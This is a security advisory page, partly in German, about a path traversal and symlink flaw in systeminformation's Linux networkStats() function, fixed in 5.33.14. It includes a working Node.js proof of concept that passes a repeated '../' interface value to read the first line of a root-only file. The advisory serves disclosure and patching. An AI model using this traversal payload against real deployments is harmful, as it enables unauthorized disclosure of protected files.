Niedrig

systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net

  • Veröffentlicht: 28.10.2026
  • Aktualisiert: 28.10.2026 23:17

Summary

On Linux, systeminformation@5.33.13 builds /sys/class/net/<iface> paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.

Details

The strict string sanitizer removes shell metacharacters but retains / and .. The Linux implementation uses this value in an fs.existsSync('/sys/class/net/' + iface) check and then in seven cat paths for interface statistics. Both operations follow .. path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.

The proof of concept below creates the expected statistics files in a directory writable by the unprivileged nobody user. Its operstate symlink points to a synthetic mode-0600 file under /root. The package call runs as root and returns the marker even though nobody cannot read that file.

PoC

Use a disposable Ubuntu Linux VM with Node.js, npm, and runuser installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:

bash
mkdir si-netstats-repro
cd si-netstats-repro
npm init -y
npm install systeminformation@5.33.13

Save the following as poc.cjs in that directory, then run sudo node poc.cjs:

js
'use strict';

const fs = require('node:fs');
const { execFileSync } = require('node:child_process');
const si = require('systeminformation');

const root = `/tmp/si-netstats-${process.pid}`;
const secret = `/root/si-netstats-secret-${process.pid}`;
const marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;
const fixtureCode = `
  const fs = require('node:fs');
  const root = process.env.SI_FIXTURE_ROOT;
  const secret = process.env.SI_SECRET;
  fs.mkdirSync(root + '/statistics', { recursive: true });
  for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {
    fs.writeFileSync(root + '/statistics/' + name, '0\\n');
  }
  fs.symlinkSync(secret, root + '/operstate');
`;

(async () => {
  try {
    fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 });
    fs.chmodSync(secret, 0o600);

    execFileSync('runuser', [
      '-u', 'nobody', '--', 'env',
      `SI_FIXTURE_ROOT=${root}`,
      `SI_SECRET=${secret}`,
      process.execPath, '-e', fixtureCode
    ], { stdio: 'inherit' });

    let nobodyCouldRead = true;
    try {
      execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });
    } catch {
      nobodyCouldRead = false;
    }
    if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');

    const iface = '../'.repeat(24) + root.slice(1);
    const rows = await si.networkStats(iface);
    const returned = String(rows[0]?.operstate ?? '').trim();
    const success = returned === marker;

    console.log(JSON.stringify({
      nobodyCouldRead,
      libraryReturnedRootOnlyMarker: success,
      returnedOperstate: returned
    }, null, 2));

    if (!success) process.exitCode = 1;
  } finally {
    fs.rmSync(root, { recursive: true, force: true });
    fs.rmSync(secret, { force: true });
  }
})().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

Expected result:

js
{
  "nobodyCouldRead": false,
  "libraryReturnedRootOnlyMarker": true,
  "returnedOperstate": "SYNTHETIC_ROOT_ONLY_MARKER_<pid>"
}

Impact

The demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket systeminformation < 5.33.14 5.33.14

Verweise

CVSS-Wert 3.3/10
CVSS-Vektor
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Schwäche (CWE)
CWE-22, CWE-59
Plattform
npm
Paket
systeminformation
Veröffentlicht
28.10.2026
Aktualisiert
28.10.2026 23:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-4vjg-vx72-qq4g - CC BY 4.0

Schwachstellenhistorie: systeminformation

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (16) im Archiv
Einträge insgesamt
16
Erste → letzte
10.2020 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
1

Verteilung nach Schweregrad

  • Kritisch 1
  • Hoch 10
  • Mittel 4
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2020: 4
  2. 2021: 2
  3. 2022: 1
  4. 2023: 1
  5. 2024: 1
  6. 2025: 1
  7. 2026: 6
Schweregrad:
  1. systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net dieser Eintrag
    Niedrig · 3.3 CVE-2026-116673 < 5.33.14 5.33.14
  2. Kritisch · 9.8 CVE-2023-42810 >= 5.0.0, < 5.21.7 5.21.7
  3. Hoch · 7.3 CVE-2020-7778 < 4.30.2 4.30.2
  4. Hoch · 8.9 CVE-2021-21388 < 5.6.4 5.6.4
  5. Hoch · 7.8 In Angriffen ausgenutzt CVE-2021-21315 < 5.3.1 5.3.1
  6. Hoch · 8.8 CVE-2020-7752 < 4.27.11 4.27.11

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.